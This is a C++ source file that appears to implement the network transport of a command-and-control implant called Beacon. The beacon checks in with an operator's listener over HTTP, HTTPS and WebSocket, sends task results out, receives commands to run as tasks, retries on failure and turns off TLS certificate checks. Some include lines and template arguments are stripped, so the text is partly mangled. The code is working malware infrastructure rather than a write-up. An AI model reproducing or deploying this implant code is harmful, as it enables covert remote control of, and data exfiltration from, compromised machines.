#include "BeaconHttp.hpp" #include #include #ifdef __linux__ #define CPPHTTPLIB_OPENSSL_SUPPORT #include "httplib.h" #elif _WIN32 #include #include #pragma comment(lib, "bcrypt.lib") #pragma comment(lib, "crypt32.lib") #pragma comment(lib, "winhttp.lib") #endif using namespace std; #ifdef _WIN32 std::wstring getUtf16(const std::string& str, int codepage) { if (str.empty()) return std::wstring(); int sz = MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), 0, 0); std::wstring res(sz, 0); MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), &res[0], sz); return res; } bool HttpsWebRequestPost(const string& domain, int port, const string& url, const string& data, const nlohmann::json& httpHeaders, bool isHttps, string& response) { response.clear(); wstring sdomain = getUtf16(domain, CP_UTF8); wstring surl = getUtf16(url, CP_UTF8); DWORD dwSize = 0; LPSTR pszOutBuffer = nullptr; BOOL bResults = FALSE; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; // Use WinHttpOpen to obtain a session handle. hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); // Specify an HTTP server. if (hSession) hConnect = WinHttpConnect(hSession, sdomain.c_str(), port, 0); // Create an HTTP request handle. DWORD dwFlags = 0; if(isHttps) dwFlags = WINHTTP_FLAG_REFRESH | WINHTTP_FLAG_SECURE; if (hConnect) hRequest = WinHttpOpenRequest(hConnect, L"POST", surl.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags); // Add a request header. if( hRequest ) { for (auto& it : httpHeaders.items()) { std::string newHeader = (it).key(); newHeader+=":"; newHeader+=it.value().get(); std::wstring stemp = std::wstring(newHeader.begin(), newHeader.end()); bResults = WinHttpAddRequestHeaders( hRequest, stemp.c_str(), (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD ); } } if(isHttps) { // if https & self sign certificat dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); } // // Debug proxy configuration // // https://stackoverflow.com/questions/35082021/code-to-send-an-http-request-through-a-proxy-using-winhttp // // https://learn.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpsendrequest // WINHTTP_PROXY_INFO proxy = { 0 }; // proxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; // proxy.lpszProxy = L"http://127.0.0.1:8080"; // WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxy, sizeof(proxy)); // Post data LPSTR pdata = const_cast(data.c_str());; DWORD lenData = data.size(); // Send a request. if (hRequest) bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)pdata, lenData, lenData, 0); // if (!bResults) // printf("Error %d has occurred.\n", GetLastError()); // End the request. if (bResults) bResults = WinHttpReceiveResponse(hRequest, NULL); DWORD dwStatusCode = 0; if (bResults && hRequest) { dwSize = sizeof(dwStatusCode); WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &dwStatusCode, &dwSize, WINHTTP_NO_HEADER_INDEX); } // Keep checking for data until there is nothing left. if (bResults) { do { // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { // printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); } // Allocate space for the buffer. pszOutBuffer = new char[dwSize + 1]; if (!pszOutBuffer) { // printf("Out of memory\n"); dwSize = 0; } else { // Read the data. ZeroMemory(pszOutBuffer, dwSize + 1); DWORD dwDownloaded = 0; if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) { // printf("Error %u in WinHttpReadData.\n", GetLastError()); } else { // printf("%s", pszOutBuffer); response += string(pszOutBuffer); } // Free the memory allocated to the buffer. delete[] pszOutBuffer; } } while (dwSize > 0); } // Report any errors. // if (!bResults) // printf("Error %d has occurred.\n", GetLastError()); // Close any open handles. if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession); return bResults && dwStatusCode == 200; } std::string GenerateSecWebSocketKey() { BYTE rnd[16]; BCryptGenRandom(NULL, rnd, sizeof(rnd), BCRYPT_USE_SYSTEM_PREFERRED_RNG); // base64 encode DWORD size = 0; CryptBinaryToStringA(rnd, sizeof(rnd), CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &size); std::string key(size, 0); CryptBinaryToStringA(rnd, sizeof(rnd), CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, key.data(), &size); return key; } void LogLastError(const char* msg) { DWORD err = GetLastError(); //std::cout << msg << " FAILED. LastError = " << err << std::endl; } // Returns true if a complete message was received into replyText/replyBin. // isBinary tells you which one is valid. bool ReceiveFullWsMessage( HINTERNET hWebSocket, std::string& replyText, std::vector& replyBin, bool& isBinary ) { replyText.clear(); replyBin.clear(); isBinary = false; std::vector buffer(4096); DWORD bytesRead = 0; WINHTTP_WEB_SOCKET_BUFFER_TYPE type = WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE; bool started = false; bool binary = false; for (;;) { bytesRead = 0; type = WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE; DWORD recvRes = WinHttpWebSocketReceive( hWebSocket, buffer.data(), static_cast(buffer.size()), &bytesRead, &type ); if (recvRes != NO_ERROR) { //std::cout << "[WS] Receive error = " << recvRes << std::endl; return false; } // Handle CLOSE if (type == WINHTTP_WEB_SOCKET_CLOSE_BUFFER_TYPE) { USHORT status = 0; std::vector reason(256); DWORD reasonLen = 0; DWORD st = WinHttpWebSocketQueryCloseStatus( hWebSocket, &status, reason.data(), static_cast(reason.size()), &reasonLen ); std::string reasonStr; if (st == NO_ERROR && reasonLen > 0) reasonStr.assign(reinterpret_cast(reason.data()), reasonLen); //std::cout << "[WS] Close received. status=" << status // << " reason=" << reasonStr << std::endl; return false; } // Determine message kind on the first frame if (!started) { started = true; if (type == WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE || type == WINHTTP_WEB_SOCKET_UTF8_FRAGMENT_BUFFER_TYPE) { binary = false; } else if (type == WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE || type == WINHTTP_WEB_SOCKET_BINARY_FRAGMENT_BUFFER_TYPE) { binary = true; } else { //std::cout << "[WS] Unexpected buffer type: " << type << std::endl; return false; } } // Accumulate payload (bytesRead may be 0 on some frames) if (bytesRead > 0) { if (binary) replyBin.insert(replyBin.end(), buffer.begin(), buffer.begin() + bytesRead); else replyText.append(reinterpret_cast(buffer.data()), bytesRead); } // Done when we get a *MESSAGE* buffer type (not FRAGMENT) if (!binary && type == WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE) break; if (binary && type == WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE) break; // Otherwise we received a fragment; continue reading } isBinary = binary; return true; } static void WsDisconnect(WsClient& c) { if (c.hWebSocket) { // Best-effort close; ignore failures here. WinHttpWebSocketClose(c.hWebSocket, WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS, NULL, 0); WinHttpCloseHandle(c.hWebSocket); c.hWebSocket = nullptr; } if (c.hConnect) { WinHttpCloseHandle(c.hConnect); c.hConnect = nullptr; } if (c.hSession) { WinHttpCloseHandle(c.hSession); c.hSession = nullptr; } } static bool WsConnectOnce(WsClient& c) { WsDisconnect(c); // ensure clean state before connecting //std::cout << "[WS] Host=" << std::string(c.host.begin(), c.host.end()) // << " Path=" << std::string(c.path.begin(), c.path.end()) // << " Port=" << c.port // << " HTTPS=" << c.isHttps // << std::endl; const DWORD requestFlags = c.isHttps ? WINHTTP_FLAG_SECURE : 0; // SESSION c.hSession = WinHttpOpen(L"Beacon/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (!c.hSession) { LogLastError("[WS] WinHttpOpen"); WsDisconnect(c); return false; } // CONNECT //std::cout << "[WS] WinHttpConnect...\n"; c.hConnect = WinHttpConnect(c.hSession, c.host.c_str(), (INTERNET_PORT)c.port, 0); if (!c.hConnect) { LogLastError("[WS] WinHttpConnect"); WsDisconnect(c); return false; } // REQUEST (temporary handle; closed after upgrade) //std::cout << "[WS] WinHttpOpenRequest to " // << std::string(c.path.begin(), c.path.end()) << "\n"; HINTERNET hRequest = WinHttpOpenRequest( c.hConnect, L"GET", c.path.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, requestFlags ); if (!hRequest) { LogLastError("[WS] WinHttpOpenRequest"); WsDisconnect(c); return false; } // WebSocket upgrade option //std::cout << "[WS] Setting WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET...\n"; if (!WinHttpSetOption(hRequest, WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET, NULL, 0)) { LogLastError("[WS] WinHttpSetOption(UPGRADE)"); WinHttpCloseHandle(hRequest); WsDisconnect(c); return false; } // Headers //std::cout << "[WS] Adding WebSocket headers...\n"; const std::wstring wsKey = getUtf16(GenerateSecWebSocketKey(), CP_UTF8); std::wstring headers = L"Connection: Upgrade\r\n" L"Upgrade: websocket\r\n" L"Sec-WebSocket-Version: 13\r\n" L"Sec-WebSocket-Key: " + wsKey + L"\r\n"; if (!WinHttpAddRequestHeaders(hRequest, headers.c_str(), -1, WINHTTP_ADDREQ_FLAG_ADD)) { LogLastError("[WS] WinHttpAddRequestHeaders"); WinHttpCloseHandle(hRequest); WsDisconnect(c); return false; } // TLS relax (optional) if (c.isHttps && c.allowInsecureTls) { DWORD secFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &secFlags, sizeof(secFlags)); } // SEND REQUEST //std::cout << "[WS] Sending request...\n"; if (!WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, NULL)) { LogLastError("[WS] WinHttpSendRequest"); WinHttpCloseHandle(hRequest); WsDisconnect(c); return false; } // RECEIVE RESPONSE //std::cout << "[WS] Receiving response...\n"; if (!WinHttpReceiveResponse(hRequest, NULL)) { LogLastError("[WS] WinHttpReceiveResponse"); WinHttpCloseHandle(hRequest); WsDisconnect(c); return false; } // CHECK STATUS CODE DWORD status = 0; DWORD size = sizeof(status); WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &status, &size, WINHTTP_NO_HEADER_INDEX); //std::cout << "[WS] HTTP Status = " << status << "\n"; if (status != 101) { //std::cout << "[WS] ERROR: Expected 101 Switching Protocols\n"; WinHttpCloseHandle(hRequest); WsDisconnect(c); return false; } // COMPLETE UPGRADE //std::cout << "[WS] Completing WebSocket upgrade...\n"; c.hWebSocket = WinHttpWebSocketCompleteUpgrade(hRequest, NULL); WinHttpCloseHandle(hRequest); // safe after upgrade if (!c.hWebSocket) { LogLastError("[WS] WinHttpWebSocketCompleteUpgrade"); WsDisconnect(c); return false; } //std::cout << "[WS] Upgrade OK (hWebSocket=" << c.hWebSocket << ")\n"; return true; } static bool WsConnectWithRetry(WsClient& c, int maxAttempts = 5, int baseDelayMs = 250) { for (int attempt = 1; attempt <= maxAttempts; ++attempt) { if (WsConnectOnce(c)) return true; if (attempt == maxAttempts) break; // simple exponential backoff (cap it) int delay = baseDelayMs * (1 << (attempt - 1)); if (delay > 5000) delay = 5000; //std::cout << "[WS] Connect failed; retry " << (attempt + 1) // << "/" << maxAttempts << " in " << delay << "ms\n"; Sleep((DWORD)delay); } return false; } static bool WsCommunicate(WsClient& c, const std::string& message, std::string& replyText, std::vector* replyBinOut = nullptr, bool* isBinaryOut = nullptr) { if (!c.hWebSocket) { //std::cout << "[WS] ERROR: communicate called with no active websocket\n"; return false; } // SEND MESSAGE //std::cout << "[WS] Sending WS message: " << message << "\n"; if (WinHttpWebSocketSend(c.hWebSocket, WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE, (BYTE*)message.data(), (DWORD)message.size()) != 0) { LogLastError("[WS] WinHttpWebSocketSend"); return false; } // RECEIVE FULL MESSAGE (your helper) std::vector replyBin; bool isBinary = false; if (!ReceiveFullWsMessage(c.hWebSocket, replyText, replyBin, isBinary)) return false; // if (isBinary) // //std::cout << "[WS] Got binary message, size=" << replyBin.size() << "\n"; // else // //std::cout << "[WS] Got text message, size=" << replyText.size() << "\n"; if (replyBinOut) *replyBinOut = std::move(replyBin); if (isBinaryOut) *isBinaryOut = isBinary; return true; } #endif BeaconHttp::BeaconHttp(std::string& config, std::string& ip, int port, bool isHttps) : Beacon() , m_isHttps(isHttps) { srand(time(NULL)); m_ip = ip; m_port = port; nlohmann::json configJson = nlohmann::json::parse(config); if(isHttps) m_beaconHttpConfig = configJson["ListenerHttpsConfig"]; else m_beaconHttpConfig = configJson["ListenerHttpConfig"]; initConfig(config); for(int i=0; iis_array() || it->empty()) return {}; return (*it)[rand() % it->size()].get(); } void BeaconHttp::resetWebSocketConnection() { #ifdef __linux__ if (m_wsClient) { if (m_wsClient->is_open()) m_wsClient->close(); m_wsClient.reset(); } #elif _WIN32 WsDisconnect(m_ws); #endif m_wsEndpoint.clear(); } bool BeaconHttp::ensureWebSocketConnected() { const std::string endpoint = m_wsEndpoint.empty() ? pickRandomEndpoint("wsUri") : m_wsEndpoint; if (endpoint.empty()) return false; #ifdef __linux__ if (m_wsClient && m_wsClient->is_open()) return true; if (m_wsClient) m_wsClient.reset(); auto ws = std::make_unique( (m_isHttps ? "wss://" : "ws://") + m_ip + ":" + std::to_string(m_port) + endpoint); if (!ws->is_valid()) return false; ws->set_connection_timeout(5, 0); ws->set_read_timeout(5, 0); ws->set_write_timeout(5, 0); ws->set_websocket_ping_interval(30); #ifdef CPPHTTPLIB_SSL_ENABLED if (m_isHttps) ws->enable_server_certificate_verification(false); #endif if (!ws->connect()) return false; m_wsClient = std::move(ws); #elif _WIN32 if (m_ws.hWebSocket) return true; m_ws.host = getUtf16(m_ip, CP_UTF8); m_ws.port = m_port; m_ws.path = getUtf16(endpoint, CP_UTF8); m_ws.isHttps = m_isHttps; m_ws.allowInsecureTls = true; if (!WsConnectWithRetry(m_ws, 5, 250)) return false; #endif m_wsEndpoint = endpoint; return true; } bool BeaconHttp::tryWebSocketCheckIn(const std::string& output, std::string& input) { for (int attempt = 0; attempt < 2; ++attempt) { if (!ensureWebSocketConnected()) return false; #ifdef __linux__ if (!m_wsClient || !m_wsClient->send(output)) { resetWebSocketConnection(); continue; } std::string message; const auto result = m_wsClient->read(message); if (result == httplib::ws::Fail) { resetWebSocketConnection(); continue; } input = std::move(message); return true; #elif _WIN32 if (WsCommunicate(m_ws, output, input)) return true; resetWebSocketConnection(); #endif } return false; } bool BeaconHttp::tryHttpCheckIn(const std::string& output, std::string& input) { const std::string endPoint = pickRandomEndpoint("uri"); if (endPoint.empty()) return false; nlohmann::json httpHeaders = nlohmann::json::object(); auto itClient = m_beaconHttpConfig.find("client"); if (itClient != m_beaconHttpConfig.end() && itClient->is_object()) { auto itHeaders = itClient->find("headers"); if (itHeaders != itClient->end() && itHeaders->is_object()) httpHeaders = *itHeaders; } #ifdef __linux__ httplib::Headers httpClientHeaders; for (auto& it : httpHeaders.items()) httpClientHeaders.insert({it.key(), it.value().get()}); if(m_isHttps) { httplib::SSLClient cli(m_ip, m_port); cli.enable_server_certificate_verification(false); if (auto res = cli.Post(endPoint, httpClientHeaders, output, "text/plain;charset=UTF-8")) { if (res->status == 200) { input = res->body; return true; } } } else { httplib::Client cli(m_ip, m_port); if (auto res = cli.Post(endPoint, httpClientHeaders, output, "text/plain;charset=UTF-8")) { if (res->status == 200) { input = res->body; return true; } } } #elif _WIN32 return HttpsWebRequestPost(m_ip, m_port, endPoint, output, httpHeaders, m_isHttps, input); #endif return false; } void BeaconHttp::checkIn() { std::string output; taskResultsToCmd(output); std::string input; if (!tryWebSocketCheckIn(output, input)) tryHttpCheckIn(output, input); if (!input.empty()) cmdToTasks(input); }